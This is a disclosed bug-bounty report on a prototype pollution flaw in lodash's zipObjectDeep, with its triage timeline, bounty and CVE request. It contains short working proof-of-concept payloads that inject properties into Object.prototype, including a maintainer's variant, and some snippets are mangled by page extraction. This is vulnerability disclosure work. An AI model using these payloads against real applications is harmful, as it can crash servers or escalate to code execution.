

16 Prototype pollution attack (lodash)

Share:     

TIMELINE

 [posix](#) submitted a report to [Node.js third-party modules](#).

Oct 11th (3 years ago)

I would like to report a prototype pollution vulnerability in lodash.
It allows an attacker to inject properties on Object.prototype

Module

module name: lodash

version: 4.17.15

npm page: <https://www.npmjs.com/package/lodash>

Module Description

The Lodash library exported as Node.js modules.

Module Stats

25,228,177 downloads in the last week

Vulnerability

Vulnerability Description

This is a similar with this vulnerability: <https://hackerone.com/reports/380873>

The functions merge, mergeWith, and defaultsDeep can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.


Steps To Reproduce:

Craft an object by "zipObjectDeep" function of lodash

```
const = require('lodash');  
.zipObjectDeep(['proto.z'], [123])  
console.log(z) // 123
```

Impact

Variable. Server crash or the server becoming unable to respond to all request is guaranteed, but more significant impact like remote code execution can be achieved in some cases.

 [posix](#) posted a comment.


Oct 11th (3 years ago)

Code 85 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 const _ = require('lodash');  
2 .zipObjectDeep(['proto.z'], [123])  
3 console.log(z) // 123
```

I submitted this vulnerability one day ago, but since npmjs.com not response, i submitted by hackerone again.

 [posix](#) posted a comment.

Updated Oct 11th (3 years ago)

Code 89 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 const _ = require('lodash');  
2 _.zipObjectDeep(['__proto__.z'], [123])  
3 console.log(z) // 123
```

 [nochnoidozor](#) posted a comment.


Oct 12th (3 years ago)

Hi [@posix](#),


Thank you for your submission. Your report is currently being reviewed and the HackerOne triage team will get back to you once there is additional information to share.

Kind regards,

[@nochnoidozor](#)

 [nochnoidozor](#) updated the severity from High to High (7.4).

Oct 12th (3 years ago)

 [nochnoidozor](#) changed the status to Triaged.

Oct 12th (3 years ago)

Hello [@posix](#),

Thank you for your submission! We were able to validate your report, and have submitted it to the appropriate remediation team for review. They will let us know the final ruling on this report, and when/if a fix will be implemented. Please note that the status and severity are subject to change.


Regards,

[@nochnoidozor](#)

 [posix](#) posted a comment.

Oct 28th (3 years ago)

Is it being processed?

 [lirantal](#) (Node is third-party modules stuff) changed the status to Triaged.

Dec 4th (3 years ago)


○=jdalton joined this report as a participant. Dec 4th (3 years ago)

 jdalton posted a comment. Dec 5th (3 years ago)
Hi!

This is an interesting one. Also:


Code 64 Bytes [Wrap lines](#) [Copy](#) [Download](#)

```
1  __.zipObjectDeep(['a.b.__proto__.c'],[123])
2  console.log(c) // 123
```

 lirantal Node.js third-party modules staff posted a comment. Dec 12th (3 years ago)
@j dalton have you got a fix for it that @posix can test to ensure this has been addressed?

 posix posted a comment. Dec 12th (3 years ago)
Sure.

 posix posted a comment. Jan 28th (3 years ago)
When will it be over?

 lirantal Node.js third-party modules staff posted a comment. Apr 25th (3 years ago)
@j dalton we're on a massive delay here in responding so I'm going to prompt for a security disclosure on this.

○=lirantal Node.js third-party modules staff added weakness "Allocation of Resources Without Limits or Throttling" and removed weakness "OS Command Injection". Apr 25th (3 years ago)

○=lirantal Node.js third-party modules staff changed the status to 🟡 **Triaged**. Apr 25th (3 years ago)

○=lirantal Node.js third-party modules staff closed the report and changed the status to 🟢 **Resolved**. Apr 25th (3 years ago)

○=Node.js third-party modules rewarded posix with a \$250 bounty. Apr 25th (3 years ago)

○=lirantal Node.js third-party modules staff requested to disclose this report. Apr 25th (3 years ago)

○=lirantal Node.js third-party modules staff disclosed this report. Apr 27th (3 years ago)

 posix posted a comment. Jun 11th (3 years ago)
Can I request CVE?

 mcollina Node.js third-party modules staff posted a comment. Jul 6th (2 years ago)
CVE requested